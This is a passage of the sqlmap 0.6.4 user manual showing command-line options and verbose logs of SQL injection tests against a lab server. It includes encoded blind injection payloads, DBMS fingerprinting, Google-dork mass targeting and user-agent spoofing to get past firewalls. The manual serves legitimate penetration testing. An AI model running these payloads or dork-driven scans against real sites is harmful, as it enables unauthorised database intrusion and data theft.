[hh:mm:55] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR
|
|
%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>4</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4
|
|
|
|
[...]
|
|
[hh:mm:44] [INFO] testing connection to the target url
|
|
[hh:mm:44] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Thu, 11 Dec 2008 hh:mm:44 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 119
|
|
Connection: close
|
|
Content-Type: text/html
|
|
[...]
|
|
[hh:mm:45] [INFO] testing MySQL
|
|
[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52))
|
|
[hh:mm:46] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR
|
|
%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>5</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5
|
|
|
|
[...]
|
|
[hh:mm:17] [INFO] testing connection to the target url
|
|
[hh:mm:17] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Thu, 11 Dec 2008 hh:mm:17 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 119
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html>
|
|
[...]
|
|
[hh:mm:18] [INFO] testing MySQL
|
|
[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51))
|
|
[hh:mm:18] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR
|
|
%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Thu, 11 Dec 2008 hh:mm:18 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 75
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
</table>
|
|
</body></html>
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.2">5.2</A> <A HREF="#toc5.2">Target</A>
|
|
</H2>
|
|
|
|
<P>At least one of these options has to be specified to set the source to get
|
|
target urls from.</P>
|
|
|
|
<H3>Target URL</H3>
|
|
|
|
<P>Option: <CODE>-u</CODE> or <CODE>--url</CODE></P>
|
|
|
|
<P>To run sqlmap on a single target URL.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
|
|
|
|
[...]
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Parse targets from Burp or WebScarab logs</H3>
|
|
|
|
<P>Option: <CODE>-l</CODE></P>
|
|
|
|
<P>Rather than providing a single target URL it is possible to test and inject
|
|
on HTTP requests proxied through
|
|
<A HREF="http://portswigger.net/suite/">Burp proxy</A>
|
|
or
|
|
<A HREF="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab proxy</A>.</P>
|
|
|
|
<P>Example passing to sqlmap a WebScarab proxy <CODE>conversations/</CODE> folder:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -l /tmp/webscarab.log/conversations/
|
|
|
|
[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
|
|
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
|
|
[hh:mm:43] [INPUT] url 1:
|
|
GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
|
|
c58b3780562
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
|
|
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
|
|
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
|
|
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
|
|
do you want to test this url? [Y/n/q] n
|
|
[hh:mm:46] [INPUT] url 2:
|
|
GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
|
|
do you want to test this url? [Y/n/q] y
|
|
[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
|
|
[hh:mm:49] [INFO] testing connection to the target url
|
|
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
|
|
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
|
|
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
|
|
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:29] [INFO] testing MySQL
|
|
[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57))
|
|
[hh:mm:29] [INFO] retrieved: 99
|
|
[hh:mm:29] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:29] [INFO] confirming MySQL
|
|
[hh:mm:29] [INFO] query: LENGTH(CHAR(57))
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:29] [INFO] retrieved: 9
|
|
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Process Google dork results as target urls</H3>
|
|
|
|
<P>Option: <CODE>-g</CODE></P>
|
|
|
|
<P>It is also possible to test and inject on <CODE>GET</CODE> parameters on the
|
|
results of your Google dork.</P>
|
|
|
|
<P>This option makes sqlmap negotiate with the search engine its session
|
|
cookie to be able to perform a search, then sqlmap will retrieve Google
|
|
first 100 results for the Google dork expression with <CODE>GET</CODE> parameters
|
|
asking you if you want to test and inject on each possible affected URL.</P>
|
|
|
|
<P>Example of Google dorking with expression <CODE>site:yourdomain.com
|
|
ext:php</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
|
|
|
|
[hh:mm:38] [INFO] first request to Google to get the session cookie
|
|
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
|
|
testable hosts
|
|
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
|
|
[hh:mm:40] [INFO] url 1:
|
|
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:43] [INFO] url 2:
|
|
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:42] [INFO] url 3:
|
|
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
|
|
want to test this url? [y/N/q] y
|
|
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
|
|
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
|
|
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
|
|
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
|
|
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Load options from a configuration INI file</H3>
|
|
|
|
<P>Option: <CODE>-c</CODE></P>
|
|
|
|
<P>It is possible to pass user's options from a configuration INI file, an
|
|
example is <CODE>sqlmap.conf</CODE>.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -c "sqlmap.conf"
|
|
|
|
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that if you also provide other options from command line, those are
|
|
evaluated when running sqlmap and overwrite the same options, if set, in
|
|
the provided configuration file.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.3">5.3</A> <A HREF="#toc5.3">Request</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to specify how to connect to the target url.</P>
|
|
|
|
<H3>HTTP method: <CODE>GET</CODE> or <CODE>POST</CODE></H3>
|
|
|
|
<P>Options: <CODE>--method</CODE> and <CODE>--data</CODE></P>
|
|
|
|
<P>By default the HTTP method used to perform HTTP requests is <CODE>GET</CODE>,
|
|
but you can change it to <CODE>POST</CODE> and provide the data to be sent
|
|
through <CODE>POST</CODE> request. Such data, being those parameters, are
|
|
tested for SQL injection like the <CODE>GET</CODE> parameters.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \
|
|
--data "id=1"
|
|
|
|
[hh:mm:53] [INFO] testing connection to the target url
|
|
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:54] [INFO] url is stable
|
|
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
[hh:mm:54] [INFO] testing Oracle
|
|
[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
|
|
[hh:mm:54] [INFO] retrieved: 9
|
|
[hh:mm:54] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:54] [INFO] confirming Oracle
|
|
[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
|
|
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
|
|
[hh:mm:55] [INFO] performed 76 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: Oracle
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Cookie</CODE> header</H3>
|
|
|
|
<P>Option: <CODE>--cookie</CODE></P>
|
|
|
|
<P>This feature can be useful in two scenarios:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>The web application requires authentication based upon cookies and
|
|
you have such data.</LI>
|
|
<LI>You want to test for and exploit SQL injection on such header
|
|
values.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>The steps to go through in the second scenario are the following:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>On Firefox web browser login on the web authentication form while
|
|
dumping URL requests with
|
|
<A HREF="http://tamperdata.mozdev.org/">TamperData</A> browser's extension.</LI>
|
|
<LI>In the horizontal box of the extension select your authentication
|
|
transaction then in the left box on the bottom click with the right button
|
|
on the <CODE>Cookie</CODE> value, then click on <CODE>Copy</CODE> to save its
|
|
value to the clipboard.</LI>
|
|
<LI>Go back to your shell and run sqlmap.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
|
|
"id=1" -v 1
|
|
|
|
[hh:mm:37] [INFO] testing connection to the target url
|
|
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:38] [INFO] url is stable
|
|
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that the HTTP <CODE>Cookie</CODE> header values are separated by a
|
|
<CODE>;</CODE> character, <B>not</B> by an <CODE>&</CODE>.</P>
|
|
|
|
<P>If the web application at first HTTP response has within the HTTP headers
|
|
a <CODE>Set-Cookie</CODE> header, sqlmap will automatically use it in all HTTP
|
|
requests as the HTTP <CODE>Cookie</CODE> header and also test for SQL
|
|
injection on these values.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
|
|
|
|
[...]
|
|
[hh:mm:39] [INFO] testing connection to the target url
|
|
[hh:mm:39] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.125:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
|
|
Connection: close
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] url is stable
|
|
[...]
|
|
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
|
|
[hh:mm:40] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.125:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Cookie: ASPSESSIONIDSABTRCAS=469
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you provide an HTTP <CODE>Cookie</CODE> header value and the target URL
|
|
sends an HTTP <CODE>Set-Cookie</CODE> header, sqlmap asks you which one to use
|
|
in the following HTTP requests.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
|
|
|
|
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
|
|
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
|
|
values that you provided? [Y/n]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Referer</CODE> header</H3>
|
|
|
|
<P>Option: <CODE>--referer</CODE></P>
|
|
|
|
<P>It is possible to fake the HTTP <CODE>Referer</CODE> header value with this
|
|
option. By default no HTTP <CODE>Referer</CODE> heder is sent in HTTP
|
|
requests.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \
|
|
"http://www.google.com" -v 3
|
|
|
|
[...]
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Referer: http://www.google.com
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP <CODE>User-Agent</CODE> header</H3>
|
|
|
|
<P>Options: <CODE>--user-agent</CODE> and <CODE>-a</CODE></P>
|
|
|
|
<P>By default sqlmap perform HTTP requests providing the following HTTP
|
|
<CODE>User-Agent</CODE> header value:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>It is possible to fake it with the <CODE>--user-agent</CODE> option.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
|
|
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
|
|
|
|
[...]
|
|
[hh:mm:02] [INFO] testing connection to the target url
|
|
[hh:mm:02] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Providing a text file, <CODE>./txt/user-agents.txt</CODE> or any other
|
|
file containing a list of at least one user agent, to the <CODE>-a</CODE>
|
|
option, sqlmap will randomly select a <CODE>User-Agent</CODE> from the file
|
|
and use it for all HTTP requests.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
-a "./txt/user-agents.txt"
|
|
|
|
[hh:mm:00] [DEBUG] initializing the configuration
|
|
[hh:mm:00] [DEBUG] initializing the knowledge base
|
|
[hh:mm:00] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
|
|
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
|
|
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
|
|
[hh:mm:00] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:00] [DEBUG] parsing XML queries file
|
|
[hh:mm:00] [INFO] testing connection to the target url
|
|
[hh:mm:00] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that the HTTP <CODE>User-Agent</CODE> header is tested against SQL
|
|
injection also if you do not overwrite the default sqlmap HTTP
|
|
<CODE>User-Agent</CODE> header value.</P>
|
|
|
|
<P>Some sites perform a server-side check on the HTTP <CODE>User-Agent</CODE>
|
|
header value and fail the HTTP response if a valid <CODE>User-Agent</CODE> is
|
|
not provided, its value is not expected or its value is blocked by a web
|
|
application firewall or similar intrusion prevention system. In this case
|
|
sqlmap will show you a message as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
|
|
to force the HTTP User-Agent header with option --user-agent or -a
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Extra HTTP headers</H3>
|
|
|
|
<P>Option: <CODE>--headers</CODE></P>
|
|
|
|
<P>It is possible to provide extra HTTP headers by providing <CODE>--headers</CODE>
|
|
options. Each header must be separated by a "\n" string and it's much easier
|
|
to provide them from the configuration INI file. Have a look at the sample
|
|
<CODE>sqlmap.conf</CODE> file.</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
|
|
|
|
<P>Options: <CODE>--auth-type</CODE> and <CODE>--auth-cred</CODE></P>
|
|
|
|
<P>These options can be used to specify which HTTP authentication type the
|
|
web server implements and the valid credentials to be used to perfom all
|
|
HTTP requests to the target URL.
|
|
The two valid types are <CODE>Basic</CODE> and <CODE>Digest</CODE> and the
|
|
credentials' syntax is <CODE>username:password</CODE>.</P>
|
|
|
|
<P>Examples on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
|
|
--auth-type Basic --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] testing connection to the target url
|
|
[hh:mm:14] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
|
|
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \
|
|
--auth-type Digest --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:54] [INFO] testing connection to the target url
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
